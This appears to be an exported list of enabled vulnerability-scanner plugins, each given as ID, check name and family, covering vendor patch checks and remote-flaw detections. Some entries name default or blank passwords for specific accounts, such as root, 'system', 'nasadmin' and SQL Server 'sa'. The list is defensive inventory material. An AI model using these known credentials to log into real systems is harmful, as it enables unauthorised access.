GLSA-200606-09 : SpamAssassin: Execution of arbitrary code
Gentoo Local Security Checks
enabled
14882
Debian DSA-045-2 : ntpd - remote root exploit
Debian Local Security Checks
enabled
63245
Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution
CGI abuses
enabled
11259
Unpassworded 'StoogR' Account
Default Unix Accounts
enabled
43365
SuSE 10 Security Update : xntp (ZYPP Patch Number 6719)
SuSE Local Security Checks
enabled
52051
Moxa Device Manager Tool MDM2_Gateway Response Remote Overflow
SCADA
enabled
45077
SuSE 11 Security Update : wireshark (SAT Patch Number 2082)
SuSE Local Security Checks
enabled
59116
SolarWinds Storage Manager Server LoginServlet loginName Parameter SQL Injection
CGI abuses
enabled
61648
Scrutinizer < 9.5.2 Multiple Vulnerabilities
CGI abuses
enabled
50066
MS10-038: Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (2027452) (Mac OS X)
MacOS X Local Security Checks
enabled
57748
RHEL 4 : php (RHSA-2012-0071)
Red Hat Local Security Checks
enabled
63581
CentOS : RHSA-2013-0165
CentOS Local Security Checks
enabled
40887
MS09-050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback() Vulnerability (975497) (uncredentialed check)
Windows
enabled
44959
Symantec Alert Management System 2 Multiple Vulnerabilities (SYM09-007)
Windows
enabled
43876
Adobe Reader < 9.3 / 8.2 Multiple Vulnerabilities (APSB10-02)
Windows
enabled
22863
Debian DSA-997-1 : bomberclone - buffer overflows
Debian Local Security Checks
enabled
56672
Debian DSA-2333-1 : phpldapadmin - several vulnerabilities
Debian Local Security Checks
enabled
47316
Fedora 12 : wireshark-1.2.6-1.fc12 (2010-3556)
Fedora Local Security Checks
enabled
43080
RHEL 4 / 5 : ntp (RHSA-2009-1648)
Red Hat Local Security Checks
enabled
51971
VMSA-2011-0003 : Third party component updates for VMware vCenter Server, vCenter Update Manager, ESXi and ESX
VMware ESX Local Security Checks
enabled
59067
Mac OS X Multiple Vulnerabilities (Security Update 2012-002)
MacOS X Local Security Checks
enabled
58789
Fedora 17 : samba-3.6.4-82.fc17.1 (2012-5793)
Fedora Local Security Checks
enabled
64053
RHEL 5 : flash-plugin (RHSA-2012-1203)
Red Hat Local Security Checks
enabled
14968
Debian DSA-131-1 : apache - remote DoS / exploit
Debian Local Security Checks
enabled
51713
SuSE 10 Security Update : acroread (ZYPP Patch Number 7086)
SuSE Local Security Checks
enabled
45509
MS10-022: Vulnerability in VBScript Scripting Engine Could Allow Remote Code Execution (981169)
Windows : Microsoft Bulletins
enabled
24276
Default Password (oracle) for 'oracle' Account
Default Unix Accounts
enabled
22236
SSA-2006-230-01 : libtiff
Slackware Local Security Checks
enabled
18123
MailEnable HTTPMail Service Authorization Header Remote Overflow
CGI abuses
enabled
11138
Citrix Published Applications Remote Enumeration
Misc.
enabled
29969
HP-UX PHSS_37335 : HP OpenView Operations (OVO) Agents Running Shared Trace Service, Remote Arbitrary Code Execution (HPSBMA02239 SSRT061260 rev.3)
HP-UX Local Security Checks
enabled
12518
Mac OS X Multiple Vulnerabilities (Security Update 2004-05-03)
MacOS X Local Security Checks
enabled
33560
USN-627-1 : Dnsmasq vulnerability
Ubuntu Local Security Checks
enabled
13979
Mandrake Linux Security Advisory : samba (MDKSA-2002:081)
Mandriva Local Security Checks
enabled
40753
CentOS : RHSA-2009-1223
CentOS Local Security Checks
enabled
25216
Samba NDR MS-RPC Request Heap-Based Remote Buffer Overflow
Misc.
enabled
40606
Fedora 11 : kernel-2.6.29.6-217.2.7.fc11 (2009-8649)
Fedora Local Security Checks
enabled
57785
FreeBSD : mozilla -- multiple vulnerabilities (0a9e2b72-4cb7-11e1-9146-14dae9ebcf89)
FreeBSD Local Security Checks
enabled
57888
USN-1358-1 : php5 vulnerabilities
Ubuntu Local Security Checks
enabled
51956
MS11-004: Vulnerability in Internet Information Services (IIS) FTP Service Could Allow Remote Code Execution (2489256) (uncredentialed check)
Windows
enabled
58516
HP OpenView Network Node Manager Multiple Code Execution Vulnerabilities (HPSBMU02712 SSRT100649)
Gain a shell remotely
enabled
54831
Avaya WinPDM < 3.8.5 Multiple Vulnerabilities
Windows
enabled
22303
TikiWiki jhot.php Arbitrary File Upload
CGI abuses
enabled
57155
SuSE 10 Security Update : Apache (ZYPP Patch Number 7722)
SuSE Local Security Checks
enabled
53616
Mandriva Linux Security Advisory : firefox (MDVSA-2011:079)
Mandriva Local Security Checks
enabled
61126
Scientific Linux Security Update : httpd on SL4.x, SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
11251
Unpassworded 'tutor' Account
Default Unix Accounts
enabled
42457
SuSE 11.0 Security Update: java-1_5_0-sun (2009-11-09)
SuSE Local Security Checks
enabled
57774
Firefox 3.6 < 3.6.26 Multiple Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
20989
FreeBSD nfsd Malformed NFS Mount Request Remote DoS
Denial of Service
enabled
46301
RHEL 3 / 4 / 5 : wireshark (RHSA-2010-0360)
Red Hat Local Security Checks
enabled
50888
SuSE 11 / 11.1 Security Update : acroread_ja (SAT Patch Numbers 3272 / 3273)
SuSE Local Security Checks
enabled
12739
Solaris 2.5.1 (sparc) : 108363-02
Solaris Local Security Checks
enabled
20336
Qualcomm WorldMail Multiple IMAP Command Remote Overflow
Gain a shell remotely
enabled
43060
Novell iPrint Client < 5.32 Multiple Overflows
Windows
enabled
12618
FreeBSD : subversion date parsing vulnerability (187)
FreeBSD Local Security Checks
enabled
27478
SuSE Security Update: wireshark: Securityupdate to fix problems found in version 0.99.6 (wireshark-3886)
SuSE Local Security Checks
enabled
11593
SLMail < 5.1.0.4433 Multiple Command Remote Overflows
SMTP problems
enabled
27267
SuSE Security Update: hplip security update (hplip-4516)
SuSE Local Security Checks
enabled
60991
Scientific Linux Security Update : wireshark on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
56666
Symantec Mail Security Autonomy Verity Keyview Filter Vulnerabilities (SYM11-013)
Windows
enabled
43657
CentOS : RHSA-2007-0960
CentOS Local Security Checks
enabled
61312
Scientific Linux Security Update : php on SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
34154
SuSE 10 Security Update : Tomcat 5 (ZYPP Patch Number 5539)
SuSE Local Security Checks
enabled
11921
MS03-049: Buffer Overflow in the Workstation Service (828749)
Windows : Microsoft Bulletins
enabled
22440
HP-UX PHSS_33257 : HP OpenView Operations, Remote Unauthorized Access and Denial of Service (DoS) (HPSBMA02149 SSRT050968 rev.1)
HP-UX Local Security Checks
enabled
34159
MySQL Community Server 5.0 < 5.0.67 Multiple Vulnerabilities
Databases
enabled
52011
VMSA-2009-0009 : ESX Service Console updates for udev, sudo, and curl
VMware ESX Local Security Checks
enabled
56063
Oracle Database, January 2009 Critical Patch Update
Databases
enabled
31800
Default Password (dottie) for 'root' Account
Default Unix Accounts
enabled
44690
Debian DSA-1825-1 : nagios2, nagios3 - insufficient input validation
Debian Local Security Checks
enabled
61030
Scientific Linux Security Update : gstreamer-plugins on SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
58481
USN-1401-2 : thunderbird vulnerabilities
Ubuntu Local Security Checks
enabled
55832
HP Easy Printer Care Software ActiveX Control Remote Code Execution Vulnerabilities
Windows
enabled
56600
SuSE 10 Security Update : Apache (ZYPP Patch Number 7721)
SuSE Local Security Checks
enabled
11249
Unpassworded 'jack' Account
Default Unix Accounts
enabled
22490
FreeBSD : tikiwiki -- multiple vulnerabilities (e4c62abd-5065-11db-a5ae-00508d6a62df)
FreeBSD Local Security Checks
enabled
17211
vBulletin misc.php template Parameter PHP Code Injection
CGI abuses
enabled
42817
USN-859-1 : openjdk-6 vulnerabilities
Ubuntu Local Security Checks
enabled
60919
Scientific Linux Security Update : exim on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
42853
SuSE 11.1 Security Update: java-1_6_0-sun (2009-11-13)
SuSE Local Security Checks
enabled
52002
Oracle Java SE Multiple Vulnerabilities (February 2011 CPU)
Windows
enabled
57892
SSA-2012-041-01 : httpd
Slackware Local Security Checks
enabled
63658
Fedora 18 : nagios-3.4.4-1.fc18 (2013-0732)
Fedora Local Security Checks
enabled
43142
HP-UX PHSS_40374 : s700_800 11.X OV NNM7.53 PA-RISC Intermediate Patch 25
HP-UX Local Security Checks
enabled
50406
Mandriva Linux Security Advisory : xulrunner (MDVSA-2010:213)
Mandriva Local Security Checks
enabled
59497
iTunes < 10.6.3 Multiple Vulnerabilities (credentialed check)
Windows
enabled
23735
3CTftpSvc Long Transport Mode Remote Overflow
Windows
enabled
57298
SuSE 10 Security Update : Apache2 (ZYPP Patch Number 7882)
SuSE Local Security Checks
enabled
57705
FreeBSD : acroread9 -- Multiple Vulnerabilities (fa2f386f-4814-11e1-89b4-001ec9578670)
FreeBSD Local Security Checks
enabled
53269
HP-UX PHNE_41177 : HP-UX Running XNTP, Remote Denial of Service (DoS) (HPSBUX02639 SSRT100293 rev.1)
HP-UX Local Security Checks
enabled
59464
Mac OS X : Java for OS X 2012-004
MacOS X Local Security Checks
enabled
34723
FreeBSD : vlc -- cue processing stack overflow (4b09378e-addb-11dd-a578-0030843d3802)
FreeBSD Local Security Checks
enabled
39445
SuSE Security Update: OpenSSL DTLS remote DoS fixed (CVE-2009-1386 and CVE-2009-1387). (libopenssl-devel-6291)
SuSE Local Security Checks
enabled
35246
SuSE Security Update: flash-player security update (flash-player-5878)
SuSE Local Security Checks
enabled
33447
Multiple Vendor DNS Query ID Field Prediction Cache Poisoning
DNS
enabled
53583
RHEL 4 / 5 : thunderbird (RHSA-2011-0474)
Red Hat Local Security Checks
enabled
57642
CentOS : RHSA-2012-0033
CentOS Local Security Checks
enabled
57355
FreeBSD : mozilla -- multiple vulnerabilities (e3ff776b-2ba6-11e1-93c6-0011856a6e37)
FreeBSD Local Security Checks
enabled
53633
Spreecommerce api/orders.json Search Function Arbitrary Command Execution
CGI abuses
enabled
10404
Microsoft Windows SMB Guessable User Credentials
Windows
enabled
52757
CentOS : RHSA-2011-0370
CentOS Local Security Checks
enabled
48255
Apache Tomcat 6.0 < 6.0.28 Multiple Vulnerabilities
Web Servers
enabled
49258
SuSE 11.1 Security Update: tomcat6 (2010-07-19)
SuSE Local Security Checks
enabled
56958
VMware vCenter Update Manager Directory Traversal (VMSA-2011-0014)
CGI abuses
enabled
34057
RHEL 5 : tomcat (RHSA-2008-0648)
Red Hat Local Security Checks
enabled
57499
Debian DSA-2358-1 : openjdk-6 - several vulnerabilities
Debian Local Security Checks
enabled
22145
GLSA-200608-03 : Mozilla Firefox: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
50322
Default Password (artica) for 'root' Account
Default Unix Accounts
enabled
33744
RealPlayer for Windows < Build 6.0.14.806 / 6.0.12.1675 Multiple Vulnerabilities
Windows
enabled
58010
Horde 3.3.12 open_calendar.js Backdoor
CGI abuses
enabled
18043
GLSA-200504-10 : Gld: Remote execution of arbitrary code
Gentoo Local Security Checks
enabled
47713
MS10-045: Vulnerability in Microsoft Office Outlook Could Allow Remote Code Execution (978212)
Windows : Microsoft Bulletins
enabled
13702
Fedora Core 1 : subversion-0.32.1-2 (2004-127)
Fedora Local Security Checks
enabled
56724
GLSA-201111-02 : Oracle JRE/JDK: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
36657
USN-696-1 : avahi vulnerabilities
Ubuntu Local Security Checks
enabled
51587
MS KB2488013: Internet Explorer CSS Import Rule Processing Arbitrary Code Execution
Windows
enabled
34323
Default Password (rootme) for 'root' Account
Default Unix Accounts
enabled
58866
RHEL 5 / 6 : java-1.6.0-ibm (RHSA-2012-0514)
Red Hat Local Security Checks
enabled
25005
IBM Tivoli Provisioning Manager OS Deployment Multiple Unspecified Input Validation Vulnerabilities
Web Servers
enabled
46753
Apache Tomcat < 4.1.40 / 5.5.28 / 6.0.20 Multiple Vulnerabilities
Web Servers
enabled
58654
Lenovo ThinkManagement Console RunAMTCommand Operation -PutUpdateFileCore Command Parsing Arbitrary File Upload
CGI abuses
enabled
25234
Fedora Core 6 : samba-3.0.24-5.fc6 (2007-507)
Fedora Local Security Checks
enabled
18027
MS05-017: Vulnerability in MSMQ Could Allow Code Execution (892944) (uncredentialed check)
Windows
enabled
22439
HP-UX PHSS_33256 : HP OpenView Operations, Remote Unauthorized Access and Denial of Service (DoS) (HPSBMA02149 SSRT050968 rev.1)
HP-UX Local Security Checks
enabled
13808
SUSE-SA:2003:040: sendmail, sendmail-tls
SuSE Local Security Checks
enabled
22121
RHEL 4 : firefox (RHSA-2006-0610)
Red Hat Local Security Checks
enabled
11412
Microsoft IIS WebDAV ntdll.dll Remote Overflow (MS03-007)
Web Servers
enabled
62615
RHEL 6 : java-1.7.0-openjdk (RHSA-2012-1386)
Red Hat Local Security Checks
enabled
40737
RHEL 4 / 5 : java-1.6.0-ibm (RHSA-2009-0015)
Red Hat Local Security Checks
enabled
11540
PoPToP PPTP ctrlpacket.c Negative Read Remote Overflow
Gain a shell remotely
enabled
48407
Novell iPrint Client < 5.44 Multiple Vulnerabilities
Windows
enabled
11241
Unpassworded 'EZsetup' Account
Default Unix Accounts
enabled
56470
iTunes < 10.5 Multiple Vulnerabilities (uncredentialed check)
Peer-To-Peer File Sharing
enabled
45594
CentOS : RHSA-2010-0360
CentOS Local Security Checks
enabled
60691
Scientific Linux Security Update : java (jdk 1.6.0) on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
51903
MS11-003: Cumulative Security Update for Internet Explorer (2482017)
Windows : Microsoft Bulletins
enabled
47036
Samba 3.x < 3.3.13 SMB1 Packet Chaining Memory Corruption
Misc.
enabled
64139
SuSE 11.1 Security Update : flash-player (SAT Patch Number 6678)
SuSE Local Security Checks
enabled
10673
Microsoft SQL Server sa Account Default Blank Password
Databases
enabled
22435
HP-UX PHSS_32380 : HP OpenView Operations, Remote Unauthorized Access and Denial of Service (DoS) (HPSBMA02149 SSRT050968 rev.1)
HP-UX Local Security Checks
enabled
57791
Apache 2.2 < 2.2.22 Multiple Vulnerabilities
Web Servers
enabled
11202
Enhydra Multiserver Default Password
Web Servers
enabled
61940
Mandriva Linux Security Advisory : mozilla (MDVSA-2011:192)
Mandriva Local Security Checks
enabled
50412
USN-1011-3 : xulrunner-1.9.1, xulrunner-1.9.2 vulnerability
Ubuntu Local Security Checks
enabled
35807
Foxit Reader < 3.0 Build 1506 / 2.3 Build 3902 Multiple Flaws
Windows
enabled
51606
SuSE 11.1 Security Update : IBM Java 6 (SAT Patch Number 2553)
SuSE Local Security Checks
enabled
59546
Fedora 17 : mysql-5.5.24-1.fc17 (2012-9308)
Fedora Local Security Checks
enabled
18041
CA BrightStor ARCserve Backup Universal Agent Remote Overflow (QO66526)
Windows
enabled
16151
iTunes < 4.7.1
MacOS X Local Security Checks
enabled
20420
MDKSA-2005:120-1 : mozilla-firefox
Mandriva Local Security Checks
enabled
43072
CentOS : RHSA-2009-1651
CentOS Local Security Checks
enabled
36081
SuSE Security Update: phpMyAdmin: multiple vulnerabilities (phpMyAdmin-6133)
SuSE Local Security Checks
enabled
40740
RHEL 3 / 4 / 5 : acroread (RHSA-2009-0376)
Red Hat Local Security Checks
enabled
40789
SuSE 11.1 Security Update: kernel (2009-08-16)
SuSE Local Security Checks
enabled
25737
Ipswitch IMail Server < 2006.21 Multiple Vulnerabilities
Windows
enabled
51711
SuSE 10 Security Update : acroread_ja (ZYPP Patch Number 6805)
SuSE Local Security Checks
enabled
53600
CentOS : RHSA-2011-0473
CentOS Local Security Checks
enabled
19285
RHEL 2.1 / 3 / 4 : mozilla (RHSA-2005-587)
Red Hat Local Security Checks
enabled
21949
CentOS : RHSA-2005-586
CentOS Local Security Checks
enabled
34695
Adobe Reader < 8.1.3 / 9.0 Multiple Vulnerabilities
Windows
enabled
50462
SuSE 11.1 Security Update: mozilla-xulrunner191 (2010-10-28)
SuSE Local Security Checks
enabled
61248
Scientific Linux Security Update : java-1.6.0-openjdk on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
40783
SuSE 11.0 Security Update: kernel (2009-08-14)
SuSE Local Security Checks
enabled
52502
Wireshark < 1.2.15 / 1.4.4 Multiple Vulnerabilities
Windows
enabled
51698
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 6881)
SuSE Local Security Checks
enabled
41268
SuSE9 Security Update : IBM Java5 JRE and SDK (YOU Patch Number 12336)
SuSE Local Security Checks
enabled
11413
MS03-007: Unchecked Buffer in ntdll.dll (815021)
Windows : Microsoft Bulletins
enabled
11178
MS02-063: Unchecked Buffer in PPTP Implementation Could Enable DOS Attacks (329834)
Windows : Microsoft Bulletins
enabled
43143
HP-UX PHSS_40375 : s700_800 11.X OV NNM7.53 IA-64 Intermediate Patch 25
HP-UX Local Security Checks
enabled
51703
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 7181)
SuSE Local Security Checks
enabled
25237
Mandrake Linux Security Advisory : samba (MDKSA-2007:104-1)
Mandriva Local Security Checks
enabled
64164
SuSE 11.1 Security Update : IBM Java 1.6.0 (SAT Patch Number 6225)
SuSE Local Security Checks
enabled
18524
Novell ZENworks Multiple Remote Pre-Authentication Overflows
Gain a shell remotely
enabled
40825
MS09-053: Microsoft IIS FTPd NLST Command Remote Buffer Overflow (975191) (uncredentialed check)
FTP
enabled
56844
HP-UX PHSS_41607 : s700_800 11.X OV NNM7.53 IA-64 Intermediate Patch 28
HP-UX Local Security Checks
enabled
31683
Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution
RPC
enabled
11257
Default Password (manager) for 'system' Account
Default Unix Accounts
enabled
56185
Fedora 16 : rsyslog-5.8.5-1.fc16 (2011-12250)
Fedora Local Security Checks
enabled
20393
WinProxy < 6.1a Multiple Vulnerabilities (credentialed check)
Firewalls
enabled
47101
CentOS : RHSA-2010-0488
CentOS Local Security Checks
enabled
60889
Scientific Linux Security Update : firefox on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
55140
Flash Player < 10.3.181.26 Multiple Vulnerabilities (APSB11-18)
Windows
enabled
45623
ActiveMQ Double Slash Request Source Code Disclosure
Web Servers
enabled
60291
Scientific Linux Security Update : wireshark on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
15910
Microsoft W3Who ISAPI w3who.dll Multiple Remote Vulnerabilities
CGI abuses
enabled
29308
MS07-064: Vulnerabilities in DirectX Could Allow Remote Code Execution (941568)
Windows : Microsoft Bulletins
enabled
61158
Scientific Linux Security Update : java-1.6.0-sun on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
10452
WU-FTPD site_exec() Function Remote Format String
FTP
enabled
42032
SuSE Security Update: ruby: update for several security issues (ruby-6339)
SuSE Local Security Checks
enabled
44978
SuSE 11.1 Security Update: acroread (2010-02-25)
SuSE Local Security Checks
enabled
50553
Fedora 13 : proftpd-1.3.3c-1.fc13 (2010-17098)
Fedora Local Security Checks
enabled
18689
Firefox < 1.0.6 Multiple Vulnerabilities
Windows
enabled
10205
rlogin Service Detection
Service detection
enabled
33565
SSA-2008-205-01 : dnsmasq
Slackware Local Security Checks
enabled
60648
Scientific Linux Security Update : kernel on SL3.x i386/x86_64
Scientific Linux Local Security Checks
enabled
39806
FCKeditor 'CurrentFolder' Arbitrary File Upload
CGI abuses
enabled
57845
USN-1355-2 : mozvoikko update
Ubuntu Local Security Checks
enabled
56066
Oracle Database, October 2009 Critical Patch Update
Databases
enabled
17300
SUSE-SA:2005:014: RealPlayer
SuSE Local Security Checks
enabled
41594
SuSE 10 Security Update : udev (ZYPP Patch Number 6203)
SuSE Local Security Checks
enabled
57771
Mozilla Thunderbird 3.1.x < 3.1.18 Multiple Vulnerabilities
Windows
enabled
51635
SuSE 11 Security Update : wireshark (SAT Patch Number 2082)
SuSE Local Security Checks
enabled
56046
CentOS : RHSA-2011-1245
CentOS Local Security Checks
enabled
57556
NTR ActiveX Control < 2.0.4.8 Multiple Vulnerabilities
Windows
enabled
61298
Scientific Linux Security Update : samba on SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
32042
Fedora 8 : openoffice.org-2.3.0-6.14.fc8 (2008-3251)
Fedora Local Security Checks
enabled
42802
Fedora 11 : java-1.6.0-openjdk-1.6.0.0-30.b16.fc11 (2009-11486)
Fedora Local Security Checks
enabled
15685
Debian DSA-587-1 : freeamp - buffer overflow
Debian Local Security Checks
enabled
25043
CentOS : RHSA-2007-0155
CentOS Local Security Checks
enabled
34972
SSA-2008-334-01 : ruby
Slackware Local Security Checks
enabled
43845
RHEL 4 : tomcat (RHSA-2009-1617)
Red Hat Local Security Checks
enabled
62196
RHEL 6 : java-1.7.0-ibm (RHSA-2012-1289)
Red Hat Local Security Checks
enabled
59720
Fedora 16 : mysql-5.5.24-1.fc16 (2012-9324)
Fedora Local Security Checks
enabled
58605
Mac OS X : Java for Mac OS X 10.6 Update 7
MacOS X Local Security Checks
enabled
35253
Debian DSA-1690-1 : avahi - assert errors
Debian Local Security Checks
enabled
22182
MS06-040: Vulnerability in Server Service Could Allow Remote Code Execution (921883)
Windows : Microsoft Bulletins
enabled
53772
SuSE 11.2 Security Update: MozillaFirefox (2011-04-29)
SuSE Local Security Checks
enabled
61300
Scientific Linux Security Update : tomcat6 on SL6.x
Scientific Linux Local Security Checks
enabled
55828
SuSE 11.1 Security Update : flash-player (SAT Patch Number 4973)
SuSE Local Security Checks
enabled
33468
Fedora 9 : bind-9.5.0-33.P1.fc9 (2008-6256)
Fedora Local Security Checks
enabled
42037
SuSE Security Update: tomcat security update (tomcat55-6369)
SuSE Local Security Checks
enabled
19476
Debian DSA-779-2 : mozilla-firefox - several vulnerabilities
Debian Local Security Checks
enabled
41947
Adobe RoboHelp Server Security Bypass (APSA09-05 / intrusive check)
CGI abuses
enabled
12504
RHEL 3 : squid (RHSA-2004-242)
Red Hat Local Security Checks
enabled
20421
MDKSA-2005:127-1 : mozilla-thunderbird
Mandriva Local Security Checks
enabled
31467
PacketTrap pt360 TFTP Server < 1.0.3302.0 Multiple Vulnerabilities
Windows
enabled
35693
Fedora 9 : dnsmasq-2.45-1.fc9 (2009-1069)
Fedora Local Security Checks
enabled
57408
RHEL 4 / 5 : krb5 (RHSA-2011-1851)
Red Hat Local Security Checks
enabled
57263
SuSE 10 Security Update : wireshark (ZYPP Patch Number 7796)
SuSE Local Security Checks
enabled
26896
HP-UX PHSS_36773 : s700_800 11.X OV NNM7.01 Intermediate Patch 11
HP-UX Local Security Checks
enabled
23717
HP-UX PHSS_35459 : s700_800 11.04 Virtualvault 4.6 IWS update
HP-UX Local Security Checks
enabled
49786
RHEL 4 / 5 : acroread (RHSA-2010-0743)
Red Hat Local Security Checks
enabled
60437
Scientific Linux Security Update : bind on SL 3.0.x , SL 4.x, SL 5.x
Scientific Linux Local Security Checks
enabled
51562
RHEL 4 / 5 : exim (RHSA-2011-0153)
Red Hat Local Security Checks
enabled
21611
BASE Multiple Script BASE_path Parameter Remote File Inclusion
CGI abuses
enabled
34412
MS08-059: Microsoft Host Integration Server (HIS) SNA RPC Request Remote Overflow (956695) (uncredentialed check)
Windows
enabled
25830
Mac OS X Multiple Vulnerabilities (Security Update 2007-007)
MacOS X Local Security Checks
enabled
34083
Unpassworded 'r00t' account
Default Unix Accounts
enabled
43842
RHEL 4 : tomcat (RHSA-2008-1007)
Red Hat Local Security Checks
enabled
19268
RHEL 4 : firefox (RHSA-2005-586)
Red Hat Local Security Checks
enabled
57954
Fedora 15 : maniadrive-1.2-32.fc15.2 / php-5.3.10-1.fc15 / php-eaccelerator-0.9.6.1-9.fc15.2 (2012-1301)
Fedora Local Security Checks
enabled
36561
Mandriva Linux Security Advisory : mysql (MDVSA-2008:150)
Mandriva Local Security Checks
enabled
45076
SuSE 11.2 Security Update: wireshark (2010-02-03)
SuSE Local Security Checks
enabled
39856
Fedora 11 : wordpress-2.8.1-1.fc11 (2009-7701)
Fedora Local Security Checks
enabled
62704
Novell ZENworks Asset Management rtrlet Component GetFile_Password Method Hardcoded Credentials Information Disclosure
CGI abuses
enabled
37068
USN-651-1 : ruby1.8 vulnerabilities
Ubuntu Local Security Checks
enabled
11000
MPEi/X Default FTP Accounts
FTP
enabled
58662
Samba 3.x < 3.6.4 / 3.5.14 / 3.4.16 RPC Multiple Buffer Overflows
Misc.
enabled
50411
USN-1011-2 : thunderbird vulnerability
Ubuntu Local Security Checks
enabled
29724
Trend Micro ServerProtect for Windows (SpntSvc.exe) StRpcSrv.dll Arbitrary Remote Code Execution
Windows
enabled
40215
SuSE 11.1 Security Update: flash-player (2008-12-18)
SuSE Local Security Checks
enabled
52593
Mandriva Linux Security Advisory : wireshark (MDVSA-2011:044)
Mandriva Local Security Checks
enabled
36186
SSA-2009-111-01 : udev
Slackware Local Security Checks
enabled
50461
SuSE 11.1 Security Update: MozillaThunderbird (2010-10-28)
SuSE Local Security Checks
enabled
57917
Default Password (nasadmin) for 'nasadmin' Account
Default Unix Accounts
enabled
59010
Mandriva Linux Security Advisory : php (MDVSA-2012:068-1)
Mandriva Local Security Checks
enabled
20935
GLSA-200602-09 : BomberClone: Remote execution of arbitrary code
Gentoo Local Security Checks
enabled
58659
MS12-027: Vulnerability in Windows Common Controls Could Allow Remote Code Execution (2664258)
Windows : Microsoft Bulletins
enabled
40766
RHEL 4 : kernel (RHSA-2009-1223)
Red Hat Local Security Checks
enabled
11195
SSH Multiple Remote Vulnerabilities
Misc.
enabled
40731
RHEL 4 / 5 : java-1.6.0-sun (RHSA-2008-1018)
Red Hat Local Security Checks
enabled
25966
Debian DSA-1366-1 : clamav - several vulnerabilities
Debian Local Security Checks
enabled
20180
phpAdsNew XML-RPC Library Remote Code Injection
CGI abuses
enabled
42834
GLSA-200911-02 : Sun JDK/JRE: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
22143
GLSA-200608-01 : Apache: Off-by-one flaw in mod_rewrite
Gentoo Local Security Checks
enabled
34743
MS08-068: Vulnerability in SMB Could Allow Remote Code Execution (957097)
Windows : Microsoft Bulletins
enabled
44981
SuSE 11.2 Security Update: acroread (2010-02-25)
SuSE Local Security Checks
enabled
13795
SUSE-SA:2003:025: samba
SuSE Local Security Checks
enabled
42372
Altiris ConsoleUtilities 'BrowseAndSaveFile()' ActiveX Control Buffer Overflow
Windows
enabled
10522
LPRng use_syslog() Remote Format String Arbitrary Command Execution
Gain a shell remotely
enabled
57494
RHEL 5 / 6 : php53 and php (RHSA-2012-0019)
Red Hat Local Security Checks
enabled
29460
SuSE 10 Security Update : hplip17 and hplip17-hpijs (ZYPP Patch Number 4507)
SuSE Local Security Checks
enabled
47570
SuSE 11.0 Security Update: cifs-mount (2010-06-13)
SuSE Local Security Checks
enabled
26185
EasyMail SMTP Object ActiveX Control Multiple Buffer Overflows
Windows
enabled
50876
SuSE 11 / 11.1 Security Update : Mozilla Firefox (SAT Patch Numbers 3455 / 3456)
SuSE Local Security Checks
enabled
55070
USN-1112-1 : firefox, firefox-3.0, firefox-3.5, xulrunner-1.9.2 vulnerabilities
Ubuntu Local Security Checks
enabled
15572
MS04-031: Vulnerability NetDDE Could Allow Code Execution (841533) (uncredentialed check)
Windows
enabled
23705
GLSA-200611-11 : TikiWiki: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
44643
Adobe Acrobat < 9.3.1 / 8.2.1 Multiple Vulnerabilities (APSB10-07)
Windows
enabled
59718
HP LoadRunner < 11.00 Patch 4 Code Execution Vulnerability
Windows
enabled
27036
RHEL 5 : hplip (RHSA-2007-0960)
Red Hat Local Security Checks
enabled
34943
SuSE Security Update: acroread: fix for several security vulnerabilities (acroread-5749)
SuSE Local Security Checks
enabled
39783
MS09-043: Vulnerabilities in Microsoft Office Web Components Control Could Allow Remote Code Execution (973472)
Windows : Microsoft Bulletins
enabled
29314
MS07-065: Vulnerability in Message Queuing Could Allow Remote Code Execution (937894) (uncredentialed check)
Windows
enabled
44701
Debian DSA-1836-1 : fckeditor - missing input sanitising
Debian Local Security Checks
enabled
55653
Citrix Access Gateway Plug-in for Windows ActiveX Control Multiple Vulnerabilities (CTX129902)
Windows
enabled
58535
VMSA-2012-0006 : VMware Workstation, ESXi, and ESX address several security issues
VMware ESX Local Security Checks
enabled
32019
RHEL 3 / 4 : openoffice.org (RHSA-2008-0176)
Red Hat Local Security Checks
enabled
62383
GLSA-201209-25 : VMware Player, Server, Workstation: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
39569
Debian DSA-1824-1 : phpmyadmin - several vulnerabilities
Debian Local Security Checks
enabled
18640
Drupal XML-RPC for PHP Remote Code Injection
CGI abuses
enabled
40144
SuSE 11.0 Security Update: tomcat6 (2009-06-13)
SuSE Local Security Checks
enabled
22534
MS06-061: Vulnerabilities in Microsoft XML Core Services Could Allow Remote Code Execution (924191)
Windows : Microsoft Bulletins
enabled
59492
RHEL 5 / 6 : java-1.6.0-sun (RHSA-2012-0734)
Red Hat Local Security Checks
enabled
56480
Mac OS X 10.7 < 10.7.2
MacOS X Local Security Checks
enabled
49950
MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957)
Windows : Microsoft Bulletins
enabled
56571
Debian DSA-2324-1 : wireshark - programming error
Debian Local Security Checks
enabled
19516
Simple PHP Blog <= 0.4.0 Multiple Vulnerabilities
CGI abuses
enabled
54869
SSA-2008-191-02 : bind
Slackware Local Security Checks
enabled
35263
CentOS : RHSA-2008-0981
CentOS Local Security Checks
enabled
42439
MS09-065: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (969947)
Windows : Microsoft Bulletins
enabled
55485
SuSE 10 Security Update : Mozilla Firefox (ZYPP Patch Number 7597)
SuSE Local Security Checks
enabled
